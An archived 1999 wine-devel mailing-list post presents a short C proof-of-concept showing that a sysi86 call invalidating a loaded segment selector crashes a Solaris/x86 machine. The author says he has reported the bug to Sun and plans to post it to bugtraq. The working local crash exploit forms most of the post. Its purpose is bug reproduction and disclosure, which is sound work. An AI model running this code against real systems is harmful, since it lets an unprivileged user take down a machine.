[prev in list] [next in list] [prev in thread] [next in thread]
List: wine-devel
Subject: Example program to demonstrate Solaris/x86 crash
From: Ulrich Weigand <weigand () informatik ! uni-erlangen ! de>
Date: 1999-04-28 13:34:18
[Download RAW message or body]
Hello,
I've finally found the time to install Solaris/x86 on a spare machine,
and have created a small example program to demonstrate the sysi86 bug
that you found that allows local users to crash the machine.
The problem does seem to be exactly what we suspected: calling sysi86
to invalidate a selector currently loaded into a segment register crashes
the machine; this has actually nothing to do with threads.
I've already notified security-alert@sun.com; I'll probably send it
to bugtraq as well in a couple of weeks ...
Well, here's the program:
#include <sys/sysi86.h>
#define SELECTOR 0x0fff
int main( int argv, char **argc )
{
struct ssd descr;
descr.sel = SELECTOR;
descr.bo = 0;
descr.ls = 0xffff;
descr.acc1 = 0xf0; /* present, DPL 3, data segment, r/o */
descr.acc2 = 0; /* limit in bytes, small */
sysi86( SI86DSCR, &descr );
__asm__ __volatile__ ( "pushl %0\n\t"
"popl %%gs" :: "g" (SELECTOR) );
descr.sel = SELECTOR;
descr.bo = 0;
descr.ls = 0;
descr.acc1 = 0;
descr.acc2 = 0;
sysi86( SI86DSCR, &descr );
return 0;
}
Bye,
Ulrich
=========================================================================
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic